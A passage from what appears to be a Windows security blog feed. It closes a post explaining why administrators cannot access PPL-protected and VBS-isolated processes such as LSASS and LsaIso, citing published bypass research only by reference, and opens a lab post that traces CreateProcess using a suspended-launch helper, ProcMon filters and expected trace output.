&lt;p&gt;Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes&quot;&gt;Isolated User Mode documentation&lt;/a&gt; explains that Windows 10 introduced Virtual Secure Mode (VSM), which uses the Hyper-V hypervisor and SLAT to create Virtual Trust Levels. Traditional kernel and user-mode code runs in VTL0. The secure kernel and IUM code run in VTL1, which is more privileged than VTL0.&lt;/p&gt;

&lt;p&gt;The same documentation describes Trustlets, also called trusted processes, secure processes, or IUM processes, as programs running in IUM. Their user-mode pages are isolated in VTL1 from drivers running in the VTL0 kernel. Microsoft states that even if VTL0 kernel mode is compromised, the malware does not have access to IUM process pages.&lt;/p&gt;

&lt;p&gt;Credential Guard is the familiar example. Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/how-it-works&quot;&gt;Credential Guard documentation&lt;/a&gt; says that with Credential Guard enabled, the LSA process talks to an isolated LSA process, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LsaIso.exe&lt;/code&gt;, which stores and protects secrets. That data is protected using VBS and is not accessible to the rest of the operating system.&lt;/p&gt;

&lt;p&gt;That is a different kind of boundary from PPL.&lt;/p&gt;

&lt;p&gt;PPL can explain why an unprotected administrator process cannot get powerful rights into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt;. Trustlets and IUM explain why the secrets protected by Credential Guard are not exposed to ordinary VTL0 process memory in the same way.&lt;/p&gt;

&lt;h1 id=&quot;experiment-4-check-whether-vbs-is-running&quot;&gt;Experiment 4: check whether VBS is running&lt;/h1&gt;

&lt;p&gt;You can check the VBS state with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msinfo32.exe&lt;/code&gt;. Look for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Virtualization-based security&lt;/code&gt; row. Microsoft also documents a PowerShell method using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Win32_DeviceGuard&lt;/code&gt; WMI class:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-CimInstance&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ClassName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Win32_DeviceGuard&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Namespace&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;root\Microsoft\Windows\DeviceGuard&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Select-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;VirtualizationBasedSecurityStatus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SecurityServicesConfigured&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SecurityServicesRunning&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualizationBasedSecurityStatus&lt;/code&gt;, Microsoft documents:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;: VBS is not enabled&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;: VBS is enabled but not running&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&lt;/code&gt;: VBS is enabled and running&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityServicesRunning&lt;/code&gt;, Microsoft documents values such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;: Credential Guard is running&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&lt;/code&gt;: Memory Integrity is running&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3&lt;/code&gt;: System Guard Secure Launch is running&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Microsoft specifically recommends System Information, PowerShell, or Event Viewer to verify Credential Guard. Seeing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LsaIso.exe&lt;/code&gt; can be a useful clue, but Task Manager is not the recommended verification method.&lt;/p&gt;

&lt;h1 id=&quot;what-research-says-about-these-boundaries&quot;&gt;What research says about these boundaries&lt;/h1&gt;

&lt;p&gt;It would be misleading to finish here and imply that PPL or VBS makes a machine untouchable.&lt;/p&gt;

&lt;p&gt;A more accurate statement is:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;PPL raises the required attacker position above ordinary administrative user-mode access. It does not make a compromised machine safe from every stronger attacker position.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There are three categories of research worth keeping in mind.&lt;/p&gt;

&lt;p&gt;First, there has been public user-mode research against PPL assumptions. James Forshaw’s Project Zero post on &lt;a href=&quot;https://projectzero.google/2018/08/windows-exploitation-tricks-exploiting.html&quot;&gt;Windows object directory creation and KnownDlls behavior&lt;/a&gt; included an Administrator-to-PPL angle. SCRT later wrote a detailed &lt;a href=&quot;https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/&quot;&gt;LSA protection bypass in userland&lt;/a&gt;. In 2022, itm4n’s &lt;a href=&quot;https://itm4n.github.io/the-end-of-ppldump/&quot;&gt;“The End of PPLdump”&lt;/a&gt; showed that Microsoft had changed loader behavior in a way that broke that specific PPLdump approach on newer builds.&lt;/p&gt;

&lt;p&gt;That does not make PPL useless. It means PPL details matter, and Windows changes over time.&lt;/p&gt;

&lt;p&gt;Second, kernel execution changes the boundary. If an attacker can execute code in the kernel, or can abuse a vulnerable signed driver to get kernel read/write capability, user-mode process protections are no longer the same barrier. That is the BYOVD problem: bring your own vulnerable driver.&lt;/p&gt;

&lt;p&gt;Microsoft documents the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules&quot;&gt;recommended vulnerable driver blocklist&lt;/a&gt;, but also cautions that the blocklist is not guaranteed to block every vulnerable driver. Microsoft recommends explicit allow-listing where possible and notes that HVCI, Smart App Control, S mode, and App Control policies can play a role in enforcement.&lt;/p&gt;

&lt;p&gt;This shows up in real incidents and research. The &lt;a href=&quot;https://www.loldrivers.io/&quot;&gt;LOLDrivers&lt;/a&gt; project tracks Windows drivers used by adversaries to bypass security controls. At the time of writing, it listed 2,129 driver samples and 619 unique drivers. Academic research has also caught up: the NDSS 2026 paper &lt;a href=&quot;https://www.ndss-symposium.org/wp-content/uploads/2026-s1491-paper.pdf&quot;&gt;“Unveiling BYOVD Threats: Malware’s Use and Abuse of Kernel Drivers”&lt;/a&gt; analyzed 8,779 malware samples that load 773 signed drivers and reported previously unknown vulnerable drivers to Microsoft, vendors, and threat-intelligence platforms.&lt;/p&gt;

&lt;p&gt;A recent example shows the same pattern. Quarkslab’s 2025 write-up on &lt;a href=&quot;https://blog.quarkslab.com/exploiting-lenovo-driver-cve-2025-8061.html&quot;&gt;CVE-2025-8061 in a signed Lenovo driver&lt;/a&gt; describes BYOVD as a common post-exploitation technique used to bypass mitigations, including PPL, by reaching Ring 0. Their own note that HVCI mitigated part of the demonstrated exploitation is a good reminder that these protections are meant to stack.&lt;/p&gt;

&lt;p&gt;Third, VBS and Trustlets are stronger boundaries, but still have an attack surface. Microsoft’s VSM documentation is explicit that the hypervisor creates isolated memory regions and VTLs. Public research such as Rafal Wojtczuk’s Black Hat paper, &lt;a href=&quot;https://blackhat.com/docs/us-16/materials/us-16-Wojtczuk-Analysis-Of-The-Attack-Surface-Of-Windows-10-Virtualization-Based-Security-wp.pdf&quot;&gt;“Analysis of the Attack Surface of Windows 10 Virtualization-Based Security”&lt;/a&gt;, looked at that architecture and its assumptions. The paper is old enough that many implementation details have changed, but the high-level lesson is still useful: virtualization-backed isolation narrows and moves the attack surface; it does not remove the need to understand the trust boundary.&lt;/p&gt;

&lt;h1 id=&quot;the-model-that-survives-the-lab&quot;&gt;The model that survives the lab&lt;/h1&gt;

&lt;p&gt;For ordinary processes, administrator plus the right privileges can still mean broad process access.&lt;/p&gt;

&lt;p&gt;For Protected Processes, Windows filters sensitive process access rights even when the caller is administrative.&lt;/p&gt;

&lt;p&gt;For PPL, the caller’s protection level and signer trust matter, not only the user’s token.&lt;/p&gt;

&lt;p&gt;For LSA protection, that hierarchy is used to make ordinary LSASS memory access and injection fail from admin tooling that is not running at the right protection level.&lt;/p&gt;

&lt;p&gt;For Credential Guard and Trustlets, some secrets move behind VBS-backed isolation, where VTL1 is intentionally outside the reach of normal VTL0 code.&lt;/p&gt;

&lt;p&gt;That is why “administrator can inspect anything” is no longer a good Windows mental model.&lt;/p&gt;

&lt;p&gt;Administrator is still powerful. Kernel execution is still extremely serious. But modern Windows has spent years moving sensitive components behind trust boundaries that are deliberately higher than ordinary administrative user mode.&lt;/p&gt;
</description>
        <pubDate>Sun, 26 Apr 2026 22:00:00 +0000</pubDate>
        <link>https://chadduffey.com/windows/security/2026/04/26/WhyAdminStillCantTouchSomeWindowsProcesses.html</link>
        <guid isPermaLink="true">https://chadduffey.com/windows/security/2026/04/26/WhyAdminStillCantTouchSomeWindowsProcesses.html</guid>
        
        
        <category>windows</category>
        
        <category>security</category>
        
      </item>
    
      <item>
        <title>Before main(): tracing what Windows really does when you call CreateProcess</title>
        <description>&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateProcess&lt;/code&gt; does far more than start a program: it builds enough process state, loader state, and subsystem state for execution to become possible.&lt;/p&gt;

&lt;p&gt;The easy version of process creation is:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Program A calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateProcess&lt;/code&gt;, then Program B starts running.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is true in the same way that “I turned the key and the car moved” is true. Useful enough for daily life, but it skips the interesting machinery.&lt;/p&gt;

&lt;p&gt;The more useful version is:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateProcess&lt;/code&gt; constructs an execution environment. The image, process object, initial thread, subsystem state, address space, PEB, loader state, activation context, and imported DLL graph all have to be made believable before your code gets a turn.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That distinction matters for security work. A lot of detection engineering, malware triage, application control, EDR telemetry, and “why did this thing launch like that?” troubleshooting lives in the gap between those two sentences.&lt;/p&gt;

&lt;p&gt;This post is a lab. We are going to launch a few familiar Windows executables and watch the operating system do work before the program’s own code is really underway.&lt;/p&gt;

&lt;p&gt;A quick honesty note before we start: this is accurate to the best of my ability, but I am not writing it with current access to Windows source code or as someone presently on the Windows team. The confidence here comes from experiments, debugger output, public documentation like the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateProcessW&lt;/code&gt; API reference&lt;/a&gt;, Windows Internals, and the behaviour we can observe ourselves. One of the more eye-opening things from my time around the Windows kernel team was seeing how often tiny details change: code paths move, edge cases appear, and things that are broadly true can have nuance under different conditions, such as low-memory systems, policy choices, architecture differences, or newer builds. So treat this as a well-tested practical model, not a claim that every internal branch looks exactly like this forever.&lt;/p&gt;

&lt;h1 id=&quot;the-short-version&quot;&gt;The short version&lt;/h1&gt;

&lt;p&gt;Windows Internals describes process creation as a staged flow. At a high level:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The caller’s parameters and flags are converted and validated.&lt;/li&gt;
  &lt;li&gt;The image to execute is found and opened.&lt;/li&gt;
  &lt;li&gt;Windows creates the executive process object.&lt;/li&gt;
  &lt;li&gt;Windows creates the initial thread, stack, and context.&lt;/li&gt;
  &lt;li&gt;Windows performs subsystem-specific process initialization.&lt;/li&gt;
  &lt;li&gt;The initial thread is resumed, unless the caller requested &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CREATE_SUSPENDED&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Process initialization continues inside the new process, including user-mode loader work, DLL loading, TLS callbacks, and eventually the program entry point.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The public &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateProcessW&lt;/code&gt; documentation&lt;/a&gt; does not try to teach all of that internal machinery, but it does expose the shape of it: the function creates a new process and its primary thread, accepts creation flags such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CREATE_SUSPENDED&lt;/code&gt;, returns process and thread handles, and warns that a GUI process can still be busy with its own initialization after the API returns. Microsoft documents &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-waitforinputidle&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WaitForInputIdle&lt;/code&gt;&lt;/a&gt; as a way for a parent to wait until a GUI child process has finished enough of its initialization to be waiting for user input.&lt;/p&gt;

&lt;p&gt;That last point is the tell: the API returned, but initialization was still happening.&lt;/p&gt;

&lt;h1 id=&quot;lab-setup&quot;&gt;Lab setup&lt;/h1&gt;

&lt;p&gt;Tools:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&quot;&gt;Process Monitor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/&quot;&gt;WinDbg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gflags.exe&lt;/code&gt;, which on current setups may arrive with the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk&quot;&gt;Windows Driver Kit (WDK)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Visual Studio Build Tools, or any environment that can compile a tiny Win32 C++ program&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cl&lt;/code&gt; is not already available in your shell, install the Visual Studio C++ Build Tools:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;winget&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;install&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Microsoft.VisualStudio.2022.BuildTools&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--override&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;--wait --add Microsoft.VisualStudio.Workload.VCTools --includeRecommended&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After installing, open a new x64 compiler environment before building the sample:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/k&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&quot;C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\Common7\Tools\VsDevCmd.bat&quot; -arch=x64 -host_arch=x64&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The install path lives under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Program Files (x86)&lt;/code&gt;, but the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-arch=x64 -host_arch=x64&lt;/code&gt; arguments tell Visual Studio to use the 64-bit host compiler targeting 64-bit output.&lt;/p&gt;

&lt;p&gt;For convenience, I have put the companion code in this repo:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/code/before-main-launcher/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BeforeMainLauncher.cpp&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you are following along from the web, save the launcher code below as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BeforeMainLauncher.cpp&lt;/code&gt;, open a Visual Studio Developer PowerShell in that folder, and build it with:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;cl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/EHsc&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/W4&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;\BeforeMainLauncher.cpp&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The program deliberately creates the child process suspended:&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;BOOL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ok&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CreateProcessW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;commandLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;CREATE_SUSPENDED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;si&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That gives us a clean pause after the kernel has created a process and thread, but before the child has been allowed to finish user-mode initialization.&lt;/p&gt;

&lt;h1 id=&quot;experiment-1-procmon-sees-the-scaffolding&quot;&gt;Experiment 1: ProcMon sees the scaffolding&lt;/h1&gt;

&lt;p&gt;Start Process Monitor as Administrator.&lt;/p&gt;

&lt;p&gt;Use these filters:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Process Name is BeforeMainLauncher.exe Include
Process Name is notepad.exe Include
Operation is Process Create Include
Operation is Thread Create Include
Operation is Load Image Include
Operation is RegOpenKey Include
Operation is RegQueryValue Include
Operation is CreateFile Include
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/before-main-createprocess/procmon-filter.png&quot; alt=&quot;Process Monitor filter configuration&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then run:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;\BeforeMainLauncher.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\Windows\System32\notepad.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/before-main-createprocess/running-beforemainlauncher.png&quot; alt=&quot;BeforeMainLauncher running with notepad.exe suspended&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Do not press Enter in the launcher yet. The child has been created with its initial thread suspended.&lt;/p&gt;

&lt;p&gt;One important ProcMon detail: before you resume the child, most of the interesting rows will still be attributed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BeforeMainLauncher.exe&lt;/code&gt;. That is expected. ProcMon’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Process Name&lt;/code&gt; column is the process performing the operation, and the process creation operation is performed by the launcher. Look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Operation&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Path&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Detail&lt;/code&gt; columns to see the child image, command line, PID, and thread ID.&lt;/p&gt;

&lt;p&gt;There is another modern Windows wrinkle here: on a default Windows 11 install, Notepad may be the packaged Microsoft Store version. In that case you can pass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\System32\notepad.exe&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateProcessW&lt;/code&gt;, but ProcMon may show the process creation path as something like:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2512.26.0_x64__8wekyb3d8bbwe\Notepad\Notepad.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That is not a mistake in the trace. In my ProcMon capture, the process creation path queried the Image File Execution Options keys for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;notepad.exe&lt;/code&gt;, including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppExecutionAliasRedirect&lt;/code&gt;, then loaded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ApiSetHost.AppExecutionAlias.dll&lt;/code&gt;, opened &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%LOCALAPPDATA%\Microsoft\WindowsApps\notepad.exe&lt;/code&gt;, queried AppX package state, and created the process from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WindowsApps&lt;/code&gt; package path. Microsoft documents &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/apps/desktop/modernize/desktop-to-uwp-extensions#start-your-application-by-using-an-alias&quot;&gt;packaged app execution aliases&lt;/a&gt; as a way for users and processes to start a packaged app without specifying the full path to the app.&lt;/p&gt;

&lt;p&gt;So do not worry if your trace does not exactly match mine. On one system the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Process Create&lt;/code&gt; path may be the classic image path:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Windows\System32\notepad.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On another system, especially a current Windows 11 install, it may be the packaged Notepad path:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_...\Notepad\Notepad.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In both cases, the command line in ProcMon may still show the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;C:\Windows\System32\notepad.exe&quot;&lt;/code&gt;. That difference between the requested command line and the final image path is the point.&lt;/p&gt;

&lt;p&gt;Things to look for before resuming the child:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BeforeMainLauncher.exe -&amp;gt; Process Create -&amp;gt; C:\Windows\System32\notepad.exe
    or
BeforeMainLauncher.exe -&amp;gt; Process Create -&amp;gt; C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_...\Notepad\Notepad.exe
BeforeMainLauncher.exe -&amp;gt; Thread Create  -&amp;gt; initial thread for the new notepad.exe process
BeforeMainLauncher.exe -&amp;gt; RegOpenKey     -&amp;gt; HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe
BeforeMainLauncher.exe -&amp;gt; CreateFile     -&amp;gt; C:\Windows\System32\notepad.exe
BeforeMainLauncher.exe -&amp;gt; CreateFile     -&amp;gt; C:\Users\&amp;lt;you&amp;gt;\AppData\Local\Microsoft\WindowsApps\notepad.exe, if App Execution Alias resolution is in play
BeforeMainLauncher.exe -&amp;gt; Load Image     -&amp;gt; C:\Windows\System32\ntdll.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can also use the PID printed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BeforeMainLauncher.exe&lt;/code&gt; to confirm the suspended child exists in Process Explorer before it has done much of anything in ProcMon.&lt;/p&gt;

&lt;p&gt;Now press Enter in the launcher so it calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ResumeThread&lt;/code&gt;. More user-mode initialization can run, and the trace gets noisier. This is when you should expect to see rows attributed directly to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;notepad.exe&lt;/code&gt;. Depending on Windows version, configuration, and cache state, additional things worth looking for include:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;notepad.exe    -&amp;gt; Load Image     -&amp;gt; C:\Windows\System32\KernelBase.dll
notepad.exe    -&amp;gt; Load Image     -&amp;gt; C:\Windows\System32\kernel32.dll
CreateFile     -&amp;gt; C:\Windows\System32\notepad.exe.Local
CreateFile     -&amp;gt; C:\Windows\System32\notepad.exe.manifest
CreateFile     -&amp;gt; C:\Windows\System32\en-US\notepad.exe.mui
CreateFile     -&amp;gt; C:\Windows\Prefetch\NOTEPAD.EXE-*.pf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

